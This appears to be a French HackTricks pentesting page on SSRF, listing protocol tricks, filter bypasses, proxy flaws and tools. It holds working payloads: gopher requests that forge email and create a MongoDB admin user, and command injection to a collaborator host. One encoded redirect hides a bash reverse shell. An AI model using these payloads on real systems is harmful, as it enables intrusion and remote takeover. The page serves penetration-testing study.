SSRF (Server Side Request Forgery)

Reading time: 25 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

Une vulnĂ©rabilitĂ© de Server-side Request Forgery (SSRF) se produit lorsqu'un attaquant manipule une application cĂŽtĂ© serveur pour effectuer des requĂȘtes HTTP vers un domaine de son choix. Cette vulnĂ©rabilitĂ© expose le serveur Ă  des requĂȘtes externes arbitraires dirigĂ©es par l'attaquant.

Capture SSRF

La premiÚre chose que vous devez faire est de capturer une interaction SSRF générée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :

Contournement des domaines sur liste blanche

En général, vous constaterez que le SSRF ne fonctionne que dans certains domaines ou URL sur liste blanche. Dans la page suivante, vous avez une compilation de techniques pour essayer de contourner cette liste blanche :

URL Format Bypass

Contournement via redirection ouverte

Si le serveur est correctement protĂ©gĂ©, vous pourriez contourner toutes les restrictions en exploitant une redirection ouverte Ă  l'intĂ©rieur de la page web. Parce que la page web permettra SSRF vers le mĂȘme domaine et suivra probablement les redirections, vous pouvez exploiter la redirection ouverte pour faire accĂ©der le serveur Ă  n'importe quelle ressource interne.
Lisez-en plus ici : https://portswigger.net/web-security/ssrf

Protocoles

  • file://
  • Le schĂ©ma d'URL file:// est rĂ©fĂ©rencĂ©, pointant directement vers /etc/passwd: file:///etc/passwd
  • dict://
  • Le schĂ©ma d'URL DICT est dĂ©crit comme Ă©tant utilisĂ© pour accĂ©der aux dĂ©finitions ou aux listes de mots via le protocole DICT. Un exemple donnĂ© illustre une URL construite ciblant un mot spĂ©cifique, une base de donnĂ©es et un numĂ©ro d'entrĂ©e, ainsi qu'un exemple d'un script PHP pouvant ĂȘtre potentiellement mal utilisĂ© pour se connecter Ă  un serveur DICT en utilisant des identifiants fournis par l'attaquant : dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • IdentifiĂ© comme un protocole pour le transfert de fichiers sĂ©curisĂ© via un shell sĂ©curisĂ©, un exemple est fourni montrant comment un script PHP pourrait ĂȘtre exploitĂ© pour se connecter Ă  un serveur SFTP malveillant : url=sftp://generic.com:11111/
  • TFTP://
  • Le Trivial File Transfer Protocol, fonctionnant sur UDP, est mentionnĂ© avec un exemple d'un script PHP conçu pour envoyer une requĂȘte Ă  un serveur TFTP. Une requĂȘte TFTP est faite Ă  'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' : ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ce segment couvre le Lightweight Directory Access Protocol, en soulignant son utilisation pour gĂ©rer et accĂ©der aux services d'information de rĂ©pertoire distribuĂ©s sur les rĂ©seaux IP. Interagissez avec un serveur LDAP sur localhost : '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Une mĂ©thode est dĂ©crite pour exploiter les vulnĂ©rabilitĂ©s SSRF afin d'interagir avec les services SMTP sur localhost, y compris des Ă©tapes pour rĂ©vĂ©ler des noms de domaine internes et d'autres actions d'investigation basĂ©es sur ces informations.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - contournement de WAF
  • Si le SSRF est exĂ©cutĂ© par curl, curl a une fonctionnalitĂ© appelĂ©e URL globbing qui pourrait ĂȘtre utile pour contourner les WAF. Par exemple, dans ce writeup, vous pouvez trouver cet exemple pour un path traversal via le protocole file :
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • La capacitĂ© du protocole Gopher Ă  spĂ©cifier l'IP, le port et les octets pour la communication avec le serveur est discutĂ©e, ainsi que des outils comme Gopherus et remote-method-guesser pour crĂ©er des charges utiles. Deux utilisations distinctes sont illustrĂ©es :

Gopher://

En utilisant ce protocole, vous pouvez spécifier l'IP, le port et les octets que vous souhaitez que le serveur envoie. Ensuite, vous pouvez essentiellement exploiter un SSRF pour communiquer avec n'importe quel serveur TCP (mais vous devez d'abord savoir comment parler au service).
Heureusement, vous pouvez utiliser Gopherus pour crĂ©er des charges utiles pour plusieurs services. De plus, remote-method-guesser peut ĂȘtre utilisĂ© pour crĂ©er des charges utiles gopher pour les services Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Retour de connexion à 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Créer un utilisateur avec le nom d'utilisateur=admin avec le mot de passe=admin123 et avec la permission=administrator

bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF via Referrer header & Others

Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tĂȘte Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications Ă  des vulnĂ©rabilitĂ©s de Server-Side Request Forgery (SSRF). Cela est dĂ» au fait que ces logiciels peuvent visiter des URL externes mentionnĂ©es dans l'en-tĂȘte Referrer pour analyser le contenu des sites rĂ©fĂ©rents. Pour dĂ©couvrir ces vulnĂ©rabilitĂ©s, le plugin Burp Suite "Collaborator Everywhere" est conseillĂ©, tirant parti de la maniĂšre dont les outils d'analyse traitent l'en-tĂȘte Referer pour identifier les surfaces d'attaque SSRF potentielles.

SSRF via SNI data from certificate

Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend à travers une configuration simple est illustrée avec un exemple de configuration Nginx :

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisĂ©e comme adresse du backend. Cette configuration expose une vulnĂ©rabilitĂ© Ă  la Server-Side Request Forgery (SSRF), qui peut ĂȘtre exploitĂ©e en spĂ©cifiant simplement l'adresse IP ou le nom de domaine souhaitĂ© dans le champ SNI. Un exemple d'exploitation pour forcer une connexion Ă  un backend arbitraire, tel que internal.host.com, en utilisant la commande openssl est donnĂ© ci-dessous :

bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget file upload

SSRF avec injection de commande

Il peut ĂȘtre utile d'essayer un payload comme : url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Rendu des PDF

Si la page web crĂ©e automatiquement un PDF avec certaines informations que vous avez fournies, vous pouvez insĂ©rer du JS qui sera exĂ©cutĂ© par le crĂ©ateur de PDF lui-mĂȘme (le serveur) lors de la crĂ©ation du PDF et vous pourrez abuser d'un SSRF. Trouvez plus d'informations ici.

De SSRF Ă  DoS

Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant le SSRF depuis les sessions.

Fonctions PHP SSRF

VĂ©rifiez la page suivante pour des fonctions PHP vulnĂ©rables et mĂȘme des fonctions Wordpress :

PHP SSRF

Redirection SSRF vers Gopher

Pour certaines exploitations, vous pourriez avoir besoin d'envoyer une réponse de redirection (potentiellement pour utiliser un protocole différent comme gopher). Ici, vous avez différents codes python pour répondre avec une redirection :

python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Proxies mal configurés pour SSRF

Tricks de cet article.

Flask

Code vulnérable du proxy Flask
python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
app.run(threaded=False)

Flask permet d'utiliser @ comme caractĂšre initial, ce qui permet de faire de l'hĂŽte initial le nom d'utilisateur et d'injecter un nouveau. RequĂȘte d'attaque :

http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Code vulnérable :

Il a Ă©tĂ© dĂ©couvert qu'il est possible de commencer le chemin d'une requĂȘte avec le caractĂšre ; ce qui permet ensuite d'utiliser @ et d'injecter un nouvel hĂŽte pour y accĂ©der. RequĂȘte d'attaque :

http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Serveur Web Intégré PHP

Code PHP vulnérable
php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

PHP permet l'utilisation du caractĂšre * avant un slash dans le chemin de l'URL, cependant, il a d'autres limitations comme le fait qu'il ne peut ĂȘtre utilisĂ© que pour le chemin racine / et que les points . ne sont pas autorisĂ©s avant le premier slash, donc il est nĂ©cessaire d'utiliser une adresse IP encodĂ©e en hexadĂ©cimal sans point par exemple :

http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Si vous avez des problĂšmes pour exfiltrer du contenu d'une IP locale Ă  cause de CORS/SOP, le DNS Rebidding peut ĂȘtre utilisĂ© pour contourner cette limitation :

CORS - Misconfigurations & Bypass

DNS Rebidding Automatisé

Singularity of Origin est un outil pour effectuer des attaques de DNS rebinding. Il inclut les composants nécessaires pour re-lier l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible.

Consultez également le serveur public en cours d'exécution à http://rebind.it/singularity.html

DNS Rebidding + ID de session TLS/Ticket de session

Exigences :

  • SSRF
  • Sessions TLS sortantes
  • Services sur des ports locaux

Attaque :

  1. Demander à l'utilisateur/bot d'accéder à un domaine contrÎlé par l'attaquant
  2. Le TTL du DNS est de 0 sec (donc la victime vérifiera à nouveau l'IP du domaine bientÎt)
  3. Une connexion TLS est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la charge utile à l'intérieur de l'ID de session ou du ticket de session.
  4. Le domaine commencera une boucle infinie de redirections contre lui-mĂȘme. L'objectif est de faire en sorte que l'utilisateur/bot accĂšde au domaine jusqu'Ă  ce qu'il effectue Ă  nouveau une demande DNS du domaine.
  5. Dans la demande DNS, une adresse IP privée est donnée maintenant (127.0.0.1 par exemple)
  6. L'utilisateur/bot essaiera de rĂ©tablir la connexion TLS et pour ce faire, il enverra l'ID de session/ID de ticket (oĂč la charge utile de l'attaquant Ă©tait contenue). Donc fĂ©licitations, vous avez rĂ©ussi Ă  demander Ă  l'utilisateur/bot de s'attaquer lui-mĂȘme.

Notez que pendant cette attaque, si vous souhaitez attaquer localhost:11211 (memcache), vous devez faire Ă©tablir Ă  la victime la connexion initiale avec www.attacker.com:11211 (le port doit toujours ĂȘtre le mĂȘme).
Pour effectuer cette attaque, vous pouvez utiliser l'outil : https://github.com/jmdx/TLS-poison/
Pour plus d'informations, jetez un Ɠil Ă  la prĂ©sentation oĂč cette attaque est expliquĂ©e : https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la demande SSRF. Il est donc plus difficile d'exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.

SSRF basé sur le temps

VĂ©rifier le temps des rĂ©ponses du serveur peut permettre de savoir si une ressource existe ou non (peut-ĂȘtre qu'il faut plus de temps pour accĂ©der Ă  une ressource existante qu'Ă  une qui n'existe pas)

Exploitation SSRF dans le Cloud

Si vous trouvez une vulnĂ©rabilitĂ© SSRF dans une machine fonctionnant dans un environnement cloud, vous pourriez ĂȘtre en mesure d'obtenir des informations intĂ©ressantes sur l'environnement cloud et mĂȘme des identifiants :

Cloud SSRF

Plateformes vulnérables au SSRF

Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans :

SSRF Vulnerable Platforms

Outils

SSRFMap

Outil pour détecter et exploiter les vulnérabilités SSRF

Gopherus

Cet outil génÚre des charges utiles Gopher pour :

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser est un scanner de vulnĂ©rabilitĂ©s Java RMI qui prend en charge les opĂ©rations d'attaque pour la plupart des vulnĂ©rabilitĂ©s Java RMI courantes. La plupart des opĂ©rations disponibles prennent en charge l'option --ssrf, pour gĂ©nĂ©rer une charge utile SSRF pour l'opĂ©ration demandĂ©e. Avec l'option --gopher, des charges utiles gopher prĂȘtes Ă  l'emploi peuvent ĂȘtre gĂ©nĂ©rĂ©es directement.

SSRF Proxy

SSRF Proxy est un serveur proxy HTTP multi-threadĂ© conçu pour tunneliser le trafic HTTP des clients Ă  travers des serveurs HTTP vulnĂ©rables Ă  la falsification de requĂȘtes cĂŽtĂ© serveur (SSRF).

Pour pratiquer

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks